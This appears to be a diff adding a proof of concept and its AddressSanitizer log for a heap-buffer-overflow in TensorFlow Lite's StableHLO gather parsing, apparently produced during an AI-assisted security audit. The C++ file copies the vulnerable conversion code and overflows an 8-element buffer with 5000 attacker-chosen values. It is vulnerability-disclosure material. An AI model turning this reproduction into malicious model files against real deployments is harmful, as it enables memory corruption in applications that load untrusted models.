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poc_stablehlo_gather_asan_output.txt ADDED
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+ sizeof(TfLiteStablehloGatherParams) = 296 bytes
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+ params->offset_dims tiene 8 elementos int64_t reservados (64 bytes)
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+ schema_offset_dims->size() = 5000 (controlado por el atacante)
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+
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+ Llamando FlatBufferIntVectorToArray EXACTAMENTE como ParseStablehloGather:
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+ max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t)
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+ = 5000 * 8 = 40000 <-- deriva del propio dato atacante,
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+ NO del tamano real de params->offset_dims (64 bytes)
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+
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+ =================================================================
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+ ==6531==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000168 at pc 0x5ac680584a45 bp 0x7fff11f32690 sp 0x7fff11f32688
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+ WRITE of size 8 at 0x612000000168 thread T0
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+ #0 0x5ac680584a44 in FlatBufferIntVectorToArray<long int> //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:74
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+ #1 0x5ac68058475e in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:109
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+ #2 0x72fa25631f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
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+ #3 0x72fa25632026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
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+ #4 0x5ac6805841b0 in _start (/tmp/poc_gather+0x21b0) (BuildId: b002c47e527a3582a414fb232b1fd0cd1de03fa0)
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+
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+ 0x612000000168 is located 0 bytes after 296-byte region [0x612000000040,0x612000000168)
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+ allocated by thread T0 here:
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+ #0 0x72fa25cd90f8 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
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+ #1 0x5ac680584484 in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:92
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+ #2 0x72fa25631f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
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+
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+ SUMMARY: AddressSanitizer: heap-buffer-overflow //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:74 in FlatBufferIntVectorToArray<long int>
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+ Shadow bytes around the buggy address:
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+ 0x611ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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+ 0x611fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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+ 0x611fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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+ 0x612000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
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+ 0x612000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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+ =>0x612000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa
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+ 0x612000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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+ 0x612000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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+ 0x612000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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+ 0x612000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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+ 0x612000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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+ Shadow byte legend (one shadow byte represents 8 application bytes):
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+ Addressable: 00
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+ Partially addressable: 01 02 03 04 05 06 07
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+ Heap left redzone: fa
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+ Freed heap region: fd
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+ Stack left redzone: f1
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+ Stack mid redzone: f2
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+ Stack right redzone: f3
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+ Stack after return: f5
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+ Stack use after scope: f8
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+ Global redzone: f9
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+ Global init order: f6
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+ Poisoned by user: f7
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+ Container overflow: fc
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+ Array cookie: ac
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+ Intra object redzone: bb
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+ ASan internal: fe
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+ Left alloca redzone: ca
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+ Right alloca redzone: cb
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+ ==6531==ABORTING
poc_tflite_stablehlo_gather.cc ADDED
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+ // FASE 4 - tflite focus-03-flatbuffer-conversions.
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+ //
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+ // Reproduccion aislada (tecnica ya usada esta campana para OpenVINO/HDF5: extraer la logica
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+ // vulnerable EXACTA del repo real, sin reimplementarla de memoria, y compilarla/ejecutarla de
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+ // forma independiente cuando construir el proyecto entero -- aqui, todo TensorFlow con bazel --
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+ // es inviable).
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+ //
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+ // Los siguientes fragmentos son copia VERBATIM del commit auditado
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+ // (65857ef50bff3d9d5d2a6ffac49bf5ca72d324a6):
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+ // - struct TfLiteStablehloGatherParams: tensorflow/compiler/mlir/lite/core/c/builtin_op_data.h
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+ // (lineas 38, 597-611)
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+ // - FlatBufferIntVectorToArray(): tensorflow/lite/core/api/flatbuffer_conversions.cc
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+ // (lineas 83-105), incluida la firma de tipos exacta.
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+ // - El patron de llamada vulnerable: tensorflow/lite/core/api/flatbuffer_conversions.cc,
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+ // ParseStablehloGather() (lineas 2317-2371) -- "max_size_of_buffer" calculado a partir del
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+ // tamano del propio vector origen en vez del tamano real del buffer destino.
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+ //
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+ // Lo unico NO real es el sustituto minimo de flatbuffers::Vector<int64_t> (FakeFlatVector): solo
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+ // necesita .size() y .Get(i), la misma interfaz que el codigo real usa -- no reimplementa NINGUNA
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+ // logica de la vulnerabilidad en si, solo provee datos de entrada controlados sin necesitar
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+ // vincular la libreria flatbuffers completa.
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+
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+ #include <cstddef>
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+ #include <cstdint>
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+ #include <cstdio>
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+ #include <vector>
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+
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+ // --- verbatim: builtin_op_data.h ---
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+ #define TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT 8
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+
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+ typedef struct {
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+ int64_t offset_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
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+ int num_offset_dims;
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+ int64_t collapsed_slice_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
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+ int num_collapsed_slice_dims;
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+ int64_t start_index_map[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
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+ int num_start_index_map;
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+ int64_t index_vector_dim;
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+ int64_t slice_sizes[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
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+ int num_slice_sizes;
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+ bool indices_are_sorted;
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+ } TfLiteStablehloGatherParams;
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+
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+ typedef int TfLiteStatus;
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+ #define kTfLiteOk 0
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+ #define kTfLiteError 1
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+
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+ // --- minimal stand-in for flatbuffers::Vector<int64_t> (interface only, not the vulnerability) ---
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+ class FakeFlatVector {
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+ public:
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+ explicit FakeFlatVector(std::vector<int64_t> data) : data_(std::move(data)) {}
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+ size_t size() const { return data_.size(); }
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+ int64_t Get(size_t i) const { return data_[i]; }
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+ private:
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+ std::vector<int64_t> data_;
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+ };
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+
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+ // --- verbatim: flatbuffer_conversions.cc:83-105 (FlatBufferIntVectorToArray), adapted only to
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+ // take FakeFlatVector* instead of flatbuffers::Vector<DataType>* (identical interface) ---
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+ template <typename DataType = int32_t>
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+ static TfLiteStatus FlatBufferIntVectorToArray(
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+ int max_size_of_buffer, const FakeFlatVector* flat_vector,
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+ DataType* buffer, const char* op_name) {
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+ if (!flat_vector) {
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+ fprintf(stderr, "Input array not provided for operation '%s'.\n", op_name);
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+ return kTfLiteError;
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+ } else {
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+ size_t num_dimensions = flat_vector->size();
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+ if (num_dimensions > max_size_of_buffer / sizeof(DataType)) {
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+ fprintf(stderr, "Found too many dimensions in the input array of operation '%s'.\n", op_name);
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+ return kTfLiteError;
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+ } else {
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+ for (size_t i = 0; i < num_dimensions; ++i) {
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+ buffer[i] = flat_vector->Get(i); // <-- sink: escritura sin limite real
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+ }
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+ }
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+ }
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+ return kTfLiteOk;
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+ }
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+
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+ int main() {
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+ // Simula un .tflite malicioso: nodo StablehloGatherOptions con offset_dims de 5000 elementos
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+ // (el schema real, schema.fbs:683-690, declara offset_dims como '[long]' sin limite de
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+ // tamano -- un atacante puede poner el valor que quiera).
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+ const size_t attacker_count = 5000;
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+ std::vector<int64_t> attacker_data(attacker_count);
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+ for (size_t i = 0; i < attacker_count; ++i) attacker_data[i] = 0x4141414141414141LL; // marcador
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+ FakeFlatVector schema_offset_dims(attacker_data);
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+
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+ // Asignacion heap EXACTA como AllocatePOD<T>() (flatbuffer_conversions.h:43-49):
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+ // this->Allocate(sizeof(T), alignof(T)) -- sin margen extra, igual que 'new' para un POD.
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+ TfLiteStablehloGatherParams* params = new TfLiteStablehloGatherParams();
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+
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+ fprintf(stderr, "sizeof(TfLiteStablehloGatherParams) = %zu bytes\n", sizeof(TfLiteStablehloGatherParams));
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+ fprintf(stderr, "params->offset_dims tiene %d elementos int64_t reservados (%zu bytes)\n",
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+ TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT,
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+ TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT * sizeof(int64_t));
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+ fprintf(stderr, "schema_offset_dims->size() = %zu (controlado por el atacante)\n\n",
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+ schema_offset_dims.size());
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+
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+ // --- verbatim: flatbuffer_conversions.cc:2317-2371 (ParseStablehloGather), la llamada real ---
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+ fprintf(stderr, "Llamando FlatBufferIntVectorToArray EXACTAMENTE como ParseStablehloGather:\n");
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+ fprintf(stderr, " max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t)\n");
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+ fprintf(stderr, " = %zu * %zu = %zu <-- deriva del propio dato atacante,\n",
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+ schema_offset_dims.size(), sizeof(int64_t), schema_offset_dims.size() * sizeof(int64_t));
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+ fprintf(stderr, " NO del tamano real de params->offset_dims (%zu bytes)\n\n",
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+ TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT * sizeof(int64_t));
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+
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+ TfLiteStatus status = FlatBufferIntVectorToArray<int64_t>(
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+ /*max_size_of_buffer=*/static_cast<int>(schema_offset_dims.size() * sizeof(int64_t)),
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+ /*flat_vector=*/&schema_offset_dims,
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+ /*buffer=*/params->offset_dims,
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+ /*op_name=*/"stablehlo_gather");
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+
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+ fprintf(stderr, "FlatBufferIntVectorToArray devolvio: %s (esperado: kTfLiteOk, NO deberia haber "
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+ "aceptado 5000 elementos en un buffer de 8)\n", status == kTfLiteOk ? "kTfLiteOk" : "kTfLiteError");
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+ fprintf(stderr, "Si ASan no ha abortado ya el proceso, la escritura fuera de limites ha sido "
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+ "silenciosa en este build (sin ASan). Con -fsanitize=address deberia haber\n"
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+ "abortado durante el bucle de escritura, mucho antes de llegar aqui.\n");
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+
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+ delete params;
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+ return 0;
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+ }